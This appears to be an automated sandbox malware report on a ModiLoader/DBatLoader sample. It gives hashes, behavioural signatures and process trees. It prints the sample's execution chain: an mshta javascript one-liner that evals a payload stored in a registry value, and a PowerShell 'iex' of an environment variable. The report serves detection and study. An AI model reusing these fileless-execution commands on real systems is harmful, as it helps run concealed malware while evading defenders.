Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
07-05-2024 22:28
Static task
static1
Behavioral task
behavioral1
Sample
21ffacb3767e2260c5dbe4adbad48fa2_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
21ffacb3767e2260c5dbe4adbad48fa2_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
21ffacb3767e2260c5dbe4adbad48fa2_JaffaCakes118.exe
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Size
331KB
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MD5
21ffacb3767e2260c5dbe4adbad48fa2
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SHA1
d682781f7a8628793de762ad06c490be3632e016
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SHA256
e7dc46c3427d3562898320310a9021a22af1845610842c70b08dd11eba7fe242
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SHA512
110c4e6fa8057d4b56624d92425dc43da8de3d5eadb7c70dc17d27c75e095dc0ed5c959ae34ba0e3c855816f208fc6cdac7d8ec6f310df1543ef378d413265d4
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SSDEEP
6144:rTlX2afUVMJnGGYONpiG/rpdOpMvh6EEpv6UIFcqiWEiHUpl:nlX2afBFOyXbaqigUr
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2072 2568 mshta.exe -
ModiLoader Second Stage 9 IoCs
Processes:
resource yara_rule behavioral2/memory/4992-1-0x0000000000400000-0x000000000045A5E8-memory.dmp modiloader_stage2 behavioral2/memory/4992-3-0x0000000000400000-0x000000000045A5E8-memory.dmp modiloader_stage2 behavioral2/memory/4992-6-0x00000000021D0000-0x00000000022AC000-memory.dmp modiloader_stage2 behavioral2/memory/4992-7-0x00000000021D0000-0x00000000022AC000-memory.dmp modiloader_stage2 behavioral2/memory/4992-8-0x00000000021D0000-0x00000000022AC000-memory.dmp modiloader_stage2 behavioral2/memory/4992-5-0x00000000021D0000-0x00000000022AC000-memory.dmp modiloader_stage2 behavioral2/memory/4992-2-0x00000000021D0000-0x00000000022AC000-memory.dmp modiloader_stage2 behavioral2/memory/4992-9-0x00000000021D0000-0x00000000022AC000-memory.dmp modiloader_stage2 behavioral2/memory/4992-4-0x00000000021D0000-0x00000000022AC000-memory.dmp modiloader_stage2 -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3560 powershell.exe 3560 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3560 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
mshta.exedescription pid process target process PID 2072 wrote to memory of 3560 2072 mshta.exe powershell.exe PID 2072 wrote to memory of 3560 2072 mshta.exe powershell.exe PID 2072 wrote to memory of 3560 2072 mshta.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\21ffacb3767e2260c5dbe4adbad48fa2_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\21ffacb3767e2260c5dbe4adbad48fa2_JaffaCakes118.exe"1⤵PID:4992
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:bWDGSCo18="0J";x09L=new%20ActiveXObject("WScript.Shell");XDNH22="rx4";qw2Ee4=x09L.RegRead("HKCU\\software\\yLCkQSGwh0\\qj4iSU");yoKXGW55U="m";eval(qw2Ee4);sK0LM7="FbuHy";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:vrtgrcn2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3560
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82